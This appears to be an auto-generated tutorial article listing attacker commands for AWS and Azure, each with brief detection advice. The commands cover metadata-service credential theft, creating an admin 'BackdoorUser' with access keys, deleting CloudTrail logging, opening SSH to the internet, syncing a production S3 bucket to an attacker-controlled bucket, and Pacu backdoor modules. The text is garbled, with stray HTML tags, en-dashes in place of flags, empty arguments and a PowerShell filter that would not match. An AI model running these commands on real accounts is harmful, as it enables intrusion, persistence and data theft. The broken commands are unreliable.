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Introduction:
The migration to cloud infrastructure has fundamentally reshaped the cybersecurity battlefield, creating a new attack surface that many organizations are still struggling to defend. Adversaries are rapidly evolving their Tactics, Techniques, and Procedures (TTPs) to exploit misconfigurations, weak identity controls, and overly permissive access in environments like AWS and Azure. Understanding the specific commands and scripts attackers use is the first step toward building effective detections and mounting a resilient defense.
Learning Objectives:
- Understand the core attacker techniques for credential access, persistence, and lateral movement in AWS and Azure.
- Learn to use built-in cloud tools and offensive security frameworks to audit your own environment’s security posture.
- Develop the foundational knowledge to create threat detection rules for common cloud-based attack sequences.
You Should Know:
1. Initial Access & Credential Theft
Verified Linux/Windows/Cybersecurity command list or code snippet or tutorials related to article
` Linux: Check for exposed EC2 Instance Metadata Service
curl http://169.254.169.254/latest/meta-data/
` PowerShell: Extract AWS credentials from environment variables
<h2 style="color: yellow;">Get-ChildItem Env: | Where-Object {$_.Name -like "AWS"}</h2>
` ` Bash: Check EC2 metadata for IAM role credentials
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
`
Step‑by‑step guide explaining what this does and how to use it.
The Instance Metadata Service (IMDS) is a prime target for attackers who gain initial execution on a cloud instance. The first command probes the IMDS to confirm its availability. If an application is vulnerable to Server-Side Request Forgery (SSRF), an attacker can use this same technique from outside the network. The subsequent commands are used to harvest credentials. The PowerShell command scans the current user's environment variables for any containing "AWS," a common place for developers to temporarily store keys. The final bash command queries the IMDS for the IAM role attached to the EC2 instance, returning temporary security credentials that grant the permissions of that role. Defenders should enforce the use of IMDSv2, which requires a token, and restrict IAM roles to the principle of least privilege.
2. Azure Service Principal Enumeration
Verified Linux/Windows/Cybersecurity command or code snippet related to article
` PowerShell Az Module: List all available Azure subscriptions
<h2 style="color: yellow;">Get-AzSubscription</h2>
` ` PowerShell Az Module: List all Resource Groups in a subscription
<h2 style="color: yellow;">Get-AzResourceGroup</h2>
` ` Azure CLI: List all VMs in a subscription
<h2 style="color: yellow;">az vm list --output table</h2>
Step‑by‑step guide explaining what this does and how to use it.
Once an attacker compromises an Azure Service Principal (an application identity) with sufficient permissions, their first step is reconnaissance. These commands map the accessible landscape. `Get-AzSubscription` enumerates all Azure subscriptions the current credentials can access, revealing the scope of the attack surface. `Get-AzResourceGroup` then lists all resource containers within a selected subscription, identifying where compute, storage, and database resources are held. Finally, `az vm list` provides a concrete list of all virtual machines, prime targets for lateral movement. Detection engineers should alert on these enumeration commands when run by a service principal, as this is atypical behavior for a normal application workflow.
3. Persistence via IAM Role Manipulation
Verified Linux/Windows/Cybersecurity command or code snippet related to article
` AWS CLI: Attach a new policy to a user
aws iam attach-user-policy –user-name TargetUser –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
` AWS CLI: Create a new IAM user and grant admin rights
<h2 style="color: yellow;">aws iam create-user --user-name BackdoorUser</h2>
<h2 style="color: yellow;">aws iam attach-user-policy --user-name BackdoorUser --policy-arn arn:aws:iam::aws:policy/AdministratorAccess</h2>
<h2 style="color: yellow;">aws iam create-access-key --user-name BackdoorUser</h2>
Step‑by‑step guide explaining what this does and how to use it.
Persistence in the cloud is often achieved by manipulating identity and access management (IAM). The first command attaches the powerful “AdministratorAccess” managed policy directly to an existing user, a simple and effective way to maintain access. The sequence of commands demonstrates a more stealthy approach: creating a brand new IAM user named “BackdoorUser,” granting it full administrative privileges, and then generating a new Access Key ID and Secret Access Key for that user. The attacker can then use these keys from any internet-connected machine. Cloud trail logs should be monitored for `AttachUserPolicy` and `CreateUser` events, especially when followed by CreateAccessKey.
4. Defense Evasion by Stopping Logging
Verified Linux/Windows/Cybersecurity command or code snippet related to article
` AWS CLI: Delete a specific CloudTrail trail
aws cloudtrail delete-trail –name MySecurityTrail
<
h2 style=”color: yellow;”>` ` Azure CLI: Disable a diagnostic setting
az monitor diagnostic-settings delete –resource –name
`
Step‑by‑step guide explaining what this does and how to use it.
A sophisticated attacker will immediately seek to blind the defender by disrupting logging mechanisms. In AWS, the `delete-trail` command completely removes a CloudTrail configuration, halting the collection of crucial management plane API logs. In Azure, the `diagnostic-settings delete` command can be used to disable logging for a specific resource, such as a Key Vault or Storage Account. These actions are high-fidelity signals of malicious intent. Defenses should include immutable logging solutions where logs are sent to a highly restricted, central account that the line-of-business cloud account cannot modify or delete.
5. Lateral Movement via Unrestricted Security Groups
Verified Linux/Windows/Cybersecurity command or code snippet related to article
` AWS CLI: Authorize a new ingress rule in a security group
aws ec2 authorize-security-group-ingress –group-id sg-0123456789example –protocol tcp –port 22 –cidr 0.0.0.0/0
` PowerShell: Use SSH to connect to an internal instance
<h2 style="color: yellow;">ssh -i ~/.ssh/compromised_key.pem ec2-user@<internal-ip></h2>
Step‑by‑step guide explaining what this does and how to use it.
Lateral movement often involves modifying network controls to reach previously isolated systems. The `authorize-security-group-ingress` command modifies a Virtual Private Cloud (VPC) security group to add a new inbound rule. In this example, it opens port 22 (SSH) to the entire internet (0.0.0.0/0). With this rule in place, the attacker can then use the standard Secure Shell (SSH) client to connect to the instance from their own machine, using a stolen private key. Monitoring for security group modifications that introduce overly permissive rules (especially from 0.0.0.0/0) is critical for detecting post-compromise lateral movement.
6. Data Exfiltration via S3 Bucket Sync
Verified Linux/Windows/Cybersecurity command or code snippet related to article
` AWS CLI: Sync the contents of an S3 bucket to a local or attacker-controlled system
aws s3 sync s3://sensitive-data-bucket-prod-1 ./exfiltrated-data/
` AWS CLI: Sync to an external, attacker-controlled bucket
aws s3 sync s3://sensitive-data-bucket-prod-1 s3://attacker-controlled-bucket --source-region us-east-1 --region eu-west-1
Step‑by‑step guide explaining what this does and how to use it.
The final stage of many attacks is data theft. The AWS CLI `sync` command is highly efficient for this, as it only copies new or modified files. The first command syncs the contents of a private, internal S3 bucket named “sensitive-data-bucket-prod-1” to a local directory on the compromised host. The second command is more dangerous; it syncs the data directly to another S3 bucket in a different region or account controlled by the attacker, minimizing their footprint on the victim’s system. Detecting large, unexpected data transfers out of S3 buckets, particularly to external accounts or cross-region, requires monitoring `GetObject` and `CopyObject` API calls with tools like Amazon GuardDuty or custom CloudWatch Alarms.
7. Cloud-Native Threat Emulation with Pacu
Verified Linux/Windows/Cybersecurity command or code snippet related to article
` Running Pacu in an assessment
python3 pacu.py
Pacu> set_keys
Pacu> run iam__enum_users_roles_policies_groups
Pacu> run iam__backdoor_users_keys –user-name Bob
`
Step‑by‑step guide explaining what this does and how to use it.
Pacu is an open-source AWS exploitation framework written in Python. It automates many of the techniques described above. After launching Pacu, the `set_keys` command imports compromised AWS credentials. The `iam__enum_users_roles_policies_groups` module performs comprehensive reconnaissance of the IAM landscape. Finally, `iam__backdoor_users_keys` creates an access key for an existing user “Bob” to establish persistence. Security teams should use Pacu in their own environments to proactively test defenses, understand attack paths, and validate the efficacy of their detection rules in a safe and controlled manner.
What Undercode Say:
- The cloud security skills gap is not just a hiring problem; it’s a fundamental gap in practical, adversarial knowledge. Defenders must think like attackers to build meaningful detections.
- The shared responsibility model often creates a dangerous blind spot, where organizations assume the cloud provider handles security far beyond the actual reality, leaving critical identity and data layers unprotected.
The hiring call from a senior leader at Binary Defense for a cloud threat detection specialist, specifically mentioning AWS and Azure red teaming, is a direct market signal. It underscores a critical industry shift: reactive incident response is no longer sufficient. Proactive threat hunting, built on a foundation of knowing exactly how attackers operate in the cloud, is the new baseline for a mature security program. The mention of Atomic Red Team in the comments further validates this, highlighting the community’s move towards standardized, testable attack simulations. The future of cloud security lies in automation—not just for provisioning, but for continuous adversarial emulation and detection validation.
Prediction:
The normalization of cloud threat emulation, using frameworks like Pacu and Atomic Red Team, will become as standard as vulnerability scanning within two years. Organizations that fail to adopt these adversarial testing practices will face an exponentially higher risk of undetected breaches, as attackers continue to weaponize cloud-native APIs and services with increasing speed and sophistication. The next major wave of breaches will not be from a novel zero-day, but from the automated exploitation of well-known misconfigurations and identity weaknesses at a massive scale.
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IT/Security Reporter URL:
Reported By: John Dwyer – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
